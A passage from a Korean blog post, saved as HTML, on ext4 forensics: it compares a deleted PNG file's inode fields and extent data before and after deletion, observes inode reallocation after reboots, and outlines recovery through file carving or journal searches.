&lt;td style=&quot;width: 25%; height: 17px; text-align: center;&quot;&gt;0x20BCA7&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;0x3A880&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;삭제 후 i_block에 존재하는 Leaf nodes의 offset이 변경되었으며 d_time이 반영이 되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 데이터는 동일한 경로에 잘 남아있으므로 inode가 다른 파일을 가리키도록 재할당 된 것 같다.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;파일 삭제 실습 2&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;사실 2번 실습은 예정에 없던 실습이었다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;1번 실습을 한 결과를 보면 inode 값 자체가 달라진 모습을 볼 수 있는데, 이 부분에서 며칠을 소비한 것 같다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그러다가 재부팅을 최소 3번 이상 했던게 기억이 났다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;혹시 그 이유 때문인가 싶어 파일 한 개를 삭제한 후 재부팅 없이 시스템 종료만 하는 방식으로 재실습했다.&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;파일 삭제&lt;/h4&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;사용한 파일은 newjeans_minji.png 파일이다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1170&quot; data-origin-height=&quot;159&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z7x5k/btsJYJMyoOC/0EzUQYiPoRPLenRO9E3kJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z7x5k/btsJYJMyoOC/0EzUQYiPoRPLenRO9E3kJk/img.png&quot; data-alt=&quot;Downloads 디렉토리 엔트리&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z7x5k/btsJYJMyoOC/0EzUQYiPoRPLenRO9E3kJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz7x5k%2FbtsJYJMyoOC%2F0EzUQYiPoRPLenRO9E3kJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1170&quot; height=&quot;159&quot; data-origin-width=&quot;1170&quot; data-origin-height=&quot;159&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Downloads 디렉토리 엔트리&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;newjeans_minji.png 파일의 inode 정보는 다음과 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;257&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NFkjn/btsJXO8WF3S/1MAZvlDRM6lDzwmxKXmee1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NFkjn/btsJXO8WF3S/1MAZvlDRM6lDzwmxKXmee1/img.png&quot; data-alt=&quot;inode&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NFkjn/btsJXO8WF3S/1MAZvlDRM6lDzwmxKXmee1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNFkjn%2FbtsJXO8WF3S%2F1MAZvlDRM6lDzwmxKXmee1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;618&quot; height=&quot;257&quot; data-origin-width=&quot;618&quot; data-origin-height=&quot;257&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;inode&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;newjeans_minji.png inode의 i_block 정보는 다음과 같다.&lt;/p&gt;
&lt;table style=&quot;color: #333333; text-align: start; border-collapse: collapse; width: 100%; height: 177px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;분류&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;offset&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 20px; text-align: center;&quot;&gt;이름&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: center;&quot;&gt;값&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;Header&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;0x06 ~ 0x07&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 20px; text-align: center;&quot;&gt;Header의 eh_depth&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 20px; text-align: center;&quot;&gt;0&amp;nbsp;&amp;rarr; 따라서 Leaf nodes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 69px; text-align: center;&quot; rowspan=&quot;4&quot;&gt;Leaf nodes 1&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 18px; text-align: center;&quot;&gt;0x00&amp;nbsp;~&amp;nbsp;0x03&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px; text-align: center;&quot;&gt;Leaf nodes ee_block&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 18px; text-align: center;&quot;&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 17px; text-align: center;&quot;&gt;0x04&amp;nbsp;~&amp;nbsp;0x05&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px; text-align: center;&quot;&gt;Leaf nodes ee_len&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px; text-align: center;&quot;&gt;0x151 &amp;rarr; 337&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 17px; text-align: center;&quot;&gt;0x06&amp;nbsp;~&amp;nbsp;0x07&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px; text-align: center;&quot;&gt;Leaf nodes ee_start_hi&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px; text-align: center;&quot;&gt;0x0000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 17px; text-align: center;&quot;&gt;0x08&amp;nbsp;~&amp;nbsp;0x0B&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px; text-align: center;&quot;&gt;Leaf nodes ee_start_lo&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px; text-align: center;&quot;&gt;0x453400&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;최종 : 블록번호 (ee_start_hi + ee_start_lo) *&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;한 블록의 크기 4096 bytes (0x1000)&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;ee_start_hi + ee_start_lo = 0x453400&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;(ee_start_hi + ee_start_lo) * 0x1000 = 0x453400000&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1162&quot; data-origin-height=&quot;839&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1piFF/btsJXMJ4knZ/kFa30DQ85GvkO72z1zTENK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1piFF/btsJXMJ4knZ/kFa30DQ85GvkO72z1zTENK/img.png&quot; data-alt=&quot;PNG 파일&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1piFF/btsJXMJ4knZ/kFa30DQ85GvkO72z1zTENK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1piFF%2FbtsJXMJ4knZ%2FkFa30DQ85GvkO72z1zTENK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1162&quot; height=&quot;839&quot; data-origin-width=&quot;1162&quot; data-origin-height=&quot;839&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;PNG 파일&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;모든 과정이 증명됐으니 삭제를 진행한다. (재부팅이 아닌 프로그램 종료만 진행.)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1163&quot; data-origin-height=&quot;259&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PbXCN/btsJWOu5ZNq/gJ34mcLrnl5KAnmZkbAHnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PbXCN/btsJWOu5ZNq/gJ34mcLrnl5KAnmZkbAHnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PbXCN/btsJWOu5ZNq/gJ34mcLrnl5KAnmZkbAHnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPbXCN%2FbtsJWOu5ZNq%2FgJ34mcLrnl5KAnmZkbAHnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1163&quot; height=&quot;259&quot; data-origin-width=&quot;1163&quot; data-origin-height=&quot;259&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;디렉토리 엔트리가 사라졌다.&lt;/p&gt;
&lt;h4 style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;삭제 전, 후 비교&lt;/h4&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;삭제 전 / 후 inode 값은 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NFkjn/btsJXO8WF3S/1MAZvlDRM6lDzwmxKXmee1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NFkjn/btsJXO8WF3S/1MAZvlDRM6lDzwmxKXmee1/img.png&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;257&quot; data-origin-width=&quot;618&quot; data-widthpercent=&quot;50.37&quot; style=&quot;width: 49.7855%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NFkjn/btsJXO8WF3S/1MAZvlDRM6lDzwmxKXmee1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNFkjn%2FbtsJXO8WF3S%2F1MAZvlDRM6lDzwmxKXmee1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;618&quot; height=&quot;257&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eGCfJB/btsJWn5HKtY/mvU3nFocWQBRLgxQOlN1t0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eGCfJB/btsJWn5HKtY/mvU3nFocWQBRLgxQOlN1t0/img.png&quot; data-origin-width=&quot;616&quot; data-origin-height=&quot;260&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;49.63&quot; style=&quot;width: 49.0518%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eGCfJB/btsJWn5HKtY/mvU3nFocWQBRLgxQOlN1t0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeGCfJB%2FbtsJWn5HKtY%2FmvU3nFocWQBRLgxQOlN1t0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;616&quot; height=&quot;260&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;삭제 전 / 후&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 119px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 14.6512%; height: 17px; text-align: center;&quot;&gt;offset&lt;/td&gt;
&lt;td style=&quot;width: 16.6279%; height: 17px; text-align: center;&quot;&gt;이름&lt;/td&gt;
&lt;td style=&quot;width: 33.2558%; height: 17px; text-align: center;&quot;&gt;삭제 전&lt;/td&gt;
&lt;td style=&quot;width: 35.4651%; height: 17px; text-align: center;&quot;&gt;삭제 후&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 14.6512%; height: 17px; text-align: center;&quot;&gt;0x00 ~ 0x01&lt;/td&gt;
&lt;td style=&quot;width: 16.6279%; height: 17px; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;i_mode&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 68.7209%; height: 17px; text-align: center;&quot; colspan=&quot;2&quot;&gt;파일의 권한과 소유자를 나타냄.&lt;br /&gt;구조: type(4bit) + setuid/setgid/sticky bit + user 권한 (3bit) + group 권한 (3bit) + other 권한 (3bit)&lt;br /&gt;&lt;br /&gt;0x8181 &amp;rarr; 1000 000 010 000 001&lt;br /&gt;&lt;br /&gt;1000 (0x8000) :&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;Regular file&lt;/span&gt;&lt;br /&gt;000: NULL&lt;br /&gt;010 000 001 : -w- --- --x&lt;br /&gt;&lt;br /&gt;결과: Regular file, -w------x&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 14.6512%; height: 17px; text-align: center;&quot;&gt;0x04 ~ 0x07&lt;/td&gt;
&lt;td style=&quot;width: 16.6279%; height: 17px; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;i_size_lo&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;(Size in bytes)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.2558%; height: 17px; text-align: center;&quot;&gt;0x150643&lt;/td&gt;
&lt;td style=&quot;width: 35.4651%; height: 17px; text-align: center;&quot;&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 34px;&quot;&gt;
&lt;td style=&quot;width: 14.6512%; height: 34px; text-align: center;&quot;&gt;0x14 ~ 0x17&lt;/td&gt;
&lt;td style=&quot;width: 16.6279%; height: 34px; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; text-align: start;&quot;&gt;i_dtime&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;(Deletion Time)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.2558%; height: 34px; text-align: center;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;width: 35.4651%; height: 34px; text-align: center;&quot;&gt;0x6703B871&lt;br /&gt;(2024-10-07 19:31:13 UTC+9)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 34px;&quot;&gt;
&lt;td style=&quot;width: 14.6512%; height: 34px; text-align: center;&quot;&gt;0x6C&amp;nbsp;~&amp;nbsp;0x6F&lt;/td&gt;
&lt;td style=&quot;width: 16.6279%; height: 34px; text-align: center;&quot;&gt;i_size_high&amp;nbsp;/&amp;nbsp;i_dir_acl&lt;/td&gt;
&lt;td style=&quot;width: 33.2558%; height: 34px; text-align: center;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;width: 35.4651%; height: 34px; text-align: center;&quot;&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;i_dtime을 통해 삭제된 시간을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;i_block 값을 비교한 결과는 다음과 같다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/psvjy/btsJWWs5IXO/Kw6oOxgH53vUhKfKSaczU0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/psvjy/btsJWWs5IXO/Kw6oOxgH53vUhKfKSaczU0/img.png&quot; style=&quot;width: 50.0724%; margin-right: 10px;&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;98&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50.66&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/psvjy/btsJWWs5IXO/Kw6oOxgH53vUhKfKSaczU0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fpsvjy%2FbtsJWWs5IXO%2FKw6oOxgH53vUhKfKSaczU0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;651&quot; height=&quot;98&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cfveE3/btsJWqIcXDT/ETks2kESXtryTkfuheRc3k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cfveE3/btsJWqIcXDT/ETks2kESXtryTkfuheRc3k/img.png&quot; style=&quot;width: 48.7648%;&quot; data-origin-width=&quot;634&quot; data-origin-height=&quot;98&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;49.34&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cfveE3/btsJWqIcXDT/ETks2kESXtryTkfuheRc3k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcfveE3%2FbtsJWqIcXDT%2FETks2kESXtryTkfuheRc3k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;634&quot; height=&quot;98&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;삭제 전 / 후 i_block 값&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;color: #333333; text-align: start; border-collapse: collapse; width: 100%; height: 109px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;분류&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;offset&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 20px; text-align: center;&quot;&gt;이름&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 20px; text-align: center;&quot;&gt;삭제 전&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;삭제 후&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;Header&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 20px; text-align: center;&quot;&gt;0x06 ~ 0x07&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 20px; text-align: center;&quot;&gt;Header의 eh_depth&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 20px; text-align: center;&quot;&gt;0&amp;nbsp;&amp;rarr; 따라서 Leaf nodes&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;0&amp;nbsp;&amp;rarr; 따라서 Leaf nodes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 69px; text-align: center;&quot; rowspan=&quot;4&quot;&gt;Leaf nodes 1&lt;/td&gt;
&lt;td style=&quot;width: 12.5%; height: 18px; text-align: center;&quot;&gt;0x00&amp;nbsp;~&amp;nbsp;0x03&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px; text-align: center;&quot;&gt;Leaf nodes ee_block&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 18px; text-align: center;&quot;&gt;0&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 17px; text-align: center;&quot;&gt;0x04&amp;nbsp;~&amp;nbsp;0x05&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px; text-align: center;&quot;&gt;Leaf nodes ee_len&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px; text-align: center;&quot;&gt;0x151 &amp;rarr; 337&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 17px; text-align: center;&quot;&gt;0x06&amp;nbsp;~&amp;nbsp;0x07&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px; text-align: center;&quot;&gt;Leaf nodes ee_start_hi&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px; text-align: center;&quot;&gt;0x0000&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 12.5%; height: 17px; text-align: center;&quot;&gt;0x08&amp;nbsp;~&amp;nbsp;0x0B&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px; text-align: center;&quot;&gt;Leaf nodes ee_start_lo&lt;/td&gt;
&lt;td style=&quot;width: 25%; height: 17px; text-align: center;&quot;&gt;0x453400&lt;/td&gt;
&lt;td style=&quot;width: 25%; text-align: center;&quot;&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;결론: 실습1에서 재부팅 몇번 하는 사이에 inode가 다른 파일을 가리키도록 재할당 됐다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;시스템의 전체 용량, 실행 환경 등에 따라 영향을 받을 수 있겠지만 생각보다 inode가 빠르게 재할당 되는 모습은 조금 충격이었다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;III. 파일 복구하기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;i_block의 값이 NULL 로 채워진다면 파일을 복구할 방법은 사실상 시그니처 등을 이용한 파일 카빙밖에 없을 듯 하다. 그래도 inode가 재할당되지 않은 경우 파일이 삭제된 시간을 확보할 수 있다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;inode가 재할당되지 않은 경우&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(1) inode 번호를 아는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;inode 번호를 안다면 inode table에서 해당하는 inode로 접근한 후 파일이 삭제된 시간을 확보할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(2) 파일명을 아는 경우&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;inode 에는 파일명이 적혀있지 않다. 하지만 Journal 은 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Journal에는 메타데이터의 변경 내용이 저장되어 있으므로 파일명도 함께 남아 있을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 파일명을 검색해주면 inode를 확인할 수 있다. 이후 파일이 삭제된 시간을 확보할 수 있다.&lt;/p&gt;
